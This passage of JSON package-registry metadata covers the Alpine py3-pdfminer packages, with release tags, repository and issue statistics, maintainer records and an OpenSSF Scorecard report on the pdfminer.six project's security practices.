blished_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:17.518Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":25.58491517941603,"stargazers_count":2.6423661474427695,"forks_count":1.7973134893107146,"average":7.506148704042379},"purl":"pkg:apk/alpine/py3-pdfminer?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.15","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-pdfminer/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":255,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2023-02-04T17:22:00.454Z","updated_at":"2023-02-04T17:22:00.454Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.15","url":"https://pkgs.alpinelinux.org/packages?branch=v3.15","ecosystem":"alpine","default":false,"packages_count":15857,"maintainers_count":287,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.684Z","updated_at":"2026-04-27T18:20:24.922Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/namespaces"}},{"id":11766230,"name":"py3-pdfminer-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-pdfminer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-09-27T21:53:35.000Z","latest_release_published_at":"2024-09-27T21:53:35.000Z","latest_release_number":"20240706-r0","last_synced_at":"2026-04-01T01:51:44.597Z","created_at":"2025-06-07T18:40:40.682Z","updated_at":"2026-04-01T01:51:44.598Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.22/community/x86_64/py3-pdfminer-pyc","install_command":"apk add py3-pdfminer-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:0